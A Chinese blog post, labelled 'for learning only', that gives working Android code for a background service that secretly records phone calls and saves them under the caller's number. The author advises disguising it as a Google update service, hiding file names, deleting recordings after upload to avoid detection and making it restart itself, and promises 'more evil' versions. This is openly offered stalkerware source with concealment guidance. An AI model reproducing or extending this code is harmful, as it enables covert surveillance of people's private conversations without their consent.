Android实现监听手机通话--仅供学习使用--
来源:互联网 发布:爱的归宿网络电影 编辑:程序博客网 时间:2024/04/25 23:59
把这服务伪装成谷歌更新服务~~ (将录音文件发给服务器这个版本并没有实现)
文件的命名最好隐匿一点,写完上传服务器的方法之后,写出销毁这些录音的方法。不然就露馅了,其次还可以考虑整个服务处于自动启动即便stop之后可以自动启动,这是第一个版本没有完善的地方。
摘录1:
实现手机电话状态的监听,主要依靠两个类:TelephoneManger和PhoneStateListener。
TelephonseManger提供了取得手机基本服务的信息的一种方式。因此应用程序可以使用TelephonyManager来探测手机基本服务的情况。应用程序可以注册listener来监听电话状态的改变。我们不能对TelephonyManager进行实例化,只能通过获取服务的形式:
Context.getSystemService(Context.TELEPHONY_SERVICE);
注意:对手机的某些信息进行读取是需要一定许可(permission)的。
摘录2:
主要静态成员常量:(它们对应PhoneStateListener.LISTEN_CALL_STATE所监听到的内容)
int CALL_STATE_IDLE 空闲状态,没有任何活动。
int CALL_STATE_OFFHOOK 摘机状态,至少有个电话活动。该活动或是拨打(dialing)或是通话,或是 on hold。并且没有电话是ringing or waiting
int CALL_STATE_RINGING 来电状态,电话铃声响起的那段时间或正在通话又来新电,新来电话不得不等待的那段时间。
AndroidManifest.xml里边需要添加这些权限:
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
主要实现的代码:
package com.example.telephone;import java.io.IOException;import android.app.Dialog;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.widget.Toast;public class service extends Service{/* * 长期在后台运行的服务 * */@Overridepublic IBinder onBind(Intent arg0) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();System.out.println("服务被创建了"); // 监视用户的电话状态的变化TelephonyManager tm= (TelephonyManager) getSystemService(TELEPHONY_SERVICE); tm.listen(new Myphonelistener(), PhoneStateListener.LISTEN_CALL_STATE);}private class Myphonelistener extends PhoneStateListener{ private MediaRecorder recorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {// TODO Auto-generated method stubtry {switch (state) {case TelephonyManager.CALL_STATE_IDLE: //空闲状态写上传数据的操作if (recorder!=null) {recorder.stop();recorder.reset();recorder.release();recorder=null;}break;case TelephonyManager.CALL_STATE_RINGING: //响铃状态System.out.println("发现来电号码"+incomingNumber);//1.创建一个录音机好吧 recorder =new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC); // 调用话筒recorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);//制定文件格式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//编码格式recorder.setOutputFile("/sdcard/"+ incomingNumber+".amr"); recorder.prepare();break;case TelephonyManager.CALL_STATE_OFFHOOK: //通话状态if (recorder!=null) {recorder.start();}break;}} catch (IllegalStateException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}super.onCallStateChanged(state, incomingNumber);}}@Overridepublic void onDestroy() {// TODO Auto-generated method stubsuper.onDestroy();System.out.println("服务被关闭了");}}
在Mainactivity 中只需要通过意图来启动服务:
Intent intent = new Intent(this,service.class);startService(intent);
OK 这只是1.0版本的。更邪恶的还在后面呢~~么么哒~
- Android实现监听手机通话--仅供学习使用--
- Android 实现通话监听
- Android 实现通话监听功能
- <android>对NoHttp的封装使用,仅供学习参考
- android广播监听手机通话状态
- Android手机通话录音实现
- Android实现通话呼叫转移与监听通话录音功能
- 【娱乐】Android实现监听通话、发送短信
- 链表实现的队列程序(仅供自己学习使用)
- 链表实现的堆栈程序(仅供自己学习使用)
- 《Online学习》Android实现短信监听,监听某个手机。
- android通话监听类
- Android通话接通监听
- vs2003快捷键(仅供自己学习记录使用)
- MyEclipse8.6注册机,仅供于个人学习使用
- winrar5.50去广告教程(仅供学习使用)
- 关于Android的一些收集,仅供个人使用。
- 作业,仅供学习参考
- HTTP协议详解
- servlet获取表单提交的数据、请求转发、请求包含、请求重定向
- 拼接字符串
- linux网卡驱动源码分析(二)
- va-start va_arg va_end
- Android实现监听手机通话--仅供学习使用--
- Hadoop源码解析之: TextInputFormat如何处理跨split的行
- 信号屏蔽字以及pthread_join函数
- 配置问题最烦人
- spring 定时器
- 工厂模式例子
- 浅谈CSRF攻击方式
- 【Processing入门】第四章:响应互动
- PHPnow在WIN7、WIN8下使用PnCp.cmd无法重启apache和mysql